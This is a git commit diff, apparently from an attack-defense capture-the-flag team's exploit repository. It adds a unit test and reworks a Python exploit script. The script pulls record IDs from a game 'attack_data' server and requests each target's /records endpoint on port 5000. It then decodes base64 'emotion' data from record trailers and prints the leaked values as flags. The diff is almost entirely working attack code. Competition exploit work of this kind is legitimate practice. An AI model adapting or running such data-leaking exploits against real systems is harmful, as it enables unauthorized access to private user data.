fix(exploits): submit only current flags
- Filter Pamsave files by the active flag lifetime window. - Use Braindance attack-data record IDs instead of scanning history.
This commit is contained in:
1 parent
0b98b70bf9
commit
8f58bbef82
4 files changed
+82
-23
No files matched your search
@@ -0,0 +1,21 @@
|
||||
import unittest
|
||||
|
||||
import trailer_private
|
||||
|
||||
|
||||
class AttackDataTests(unittest.TestCase):
|
||||
def test_selects_current_unique_record_ids_for_target(self) -> None:
|
||||
data = {
|
||||
"braindance": {
|
||||
"10.80.2.2": [
|
||||
{"user": "alice", "record": "new-a"},
|
||||
{"user": "bob", "record": "new-b"},
|
||||
{"user": "alice", "record": "new-a"},
|
||||
]
|
||||
}
|
||||
}
|
||||
self.assertEqual(trailer_private.attack_record_ids(data, "10.80.2.2"), ["new-a", "new-b"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -12,13 +12,14 @@ from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
PORT = 5000
|
||||
TIMEOUT = 4
|
||||
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
||||
PRIVATE_LAYERS = "thermal,emotion"
|
||||
|
||||
|
||||
@@ -26,36 +27,34 @@ def log(message: str) -> None:
|
||||
print(message, file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
def gallery(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
||||
records: list[dict[str, Any]] = []
|
||||
before: str | None = None
|
||||
while True:
|
||||
params: dict[str, Any] = {"limit": 200}
|
||||
if before:
|
||||
params["before"] = before
|
||||
response = session.get(f"{base}/gallery", params=params, timeout=TIMEOUT)
|
||||
response.raise_for_status()
|
||||
data = response.json()
|
||||
records.extend(data.get("records", []))
|
||||
before = data.get("next_cursor")
|
||||
if not before:
|
||||
return records
|
||||
def attack_record_ids(data: dict, target: str) -> list[str]:
|
||||
seen: set[str] = set()
|
||||
result: list[str] = []
|
||||
for row in data.get("braindance", {}).get(target, []):
|
||||
record_id = str(row.get("record", ""))
|
||||
if record_id and record_id not in seen:
|
||||
seen.add(record_id)
|
||||
result.append(record_id)
|
||||
return result
|
||||
|
||||
|
||||
def run(target: str) -> int:
|
||||
session = requests.Session()
|
||||
session.trust_env = False
|
||||
base = f"http://{target}:{PORT}"
|
||||
records = gallery(session, base)
|
||||
attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
|
||||
record_ids = attack_record_ids(attack_data, target)
|
||||
if not record_ids:
|
||||
raise RuntimeError("no braindance attack_data for target")
|
||||
leaked = 0
|
||||
|
||||
for meta in records:
|
||||
rid = str(meta["id"])
|
||||
for rid in record_ids:
|
||||
record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT)
|
||||
if record_response.status_code == 404:
|
||||
continue
|
||||
record_response.raise_for_status()
|
||||
trailer = record_response.json().get("trailer") or {}
|
||||
record = record_response.json()
|
||||
trailer = record.get("trailer") or {}
|
||||
signature = trailer.get("sig")
|
||||
if not signature:
|
||||
continue
|
||||
@@ -73,9 +72,9 @@ def run(target: str) -> int:
|
||||
continue
|
||||
value = base64.b64decode(emotion_b64, validate=True).decode("utf-8", "replace")
|
||||
leaked += 1
|
||||
print(f"{meta.get('owner', '?')} {rid}: {value}")
|
||||
print(f"{record.get('owner', '?')} {rid}: {value}")
|
||||
|
||||
log(f"target={target} records={len(records)} leaked={leaked}")
|
||||
log(f"target={target} records={len(record_ids)} leaked={leaked}")
|
||||
return 0 if leaked else 1
|
||||
|
||||
|
||||
@@ -85,7 +84,7 @@ def main() -> int:
|
||||
return 2
|
||||
try:
|
||||
return run(sys.argv[1])
|
||||
except (KeyError, ValueError, requests.RequestException) as exc:
|
||||
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
||||
log(f"target={sys.argv[1]} error={exc}")
|
||||
return 1
|
||||
|
||||
|
||||
Reference in new issue
Block a user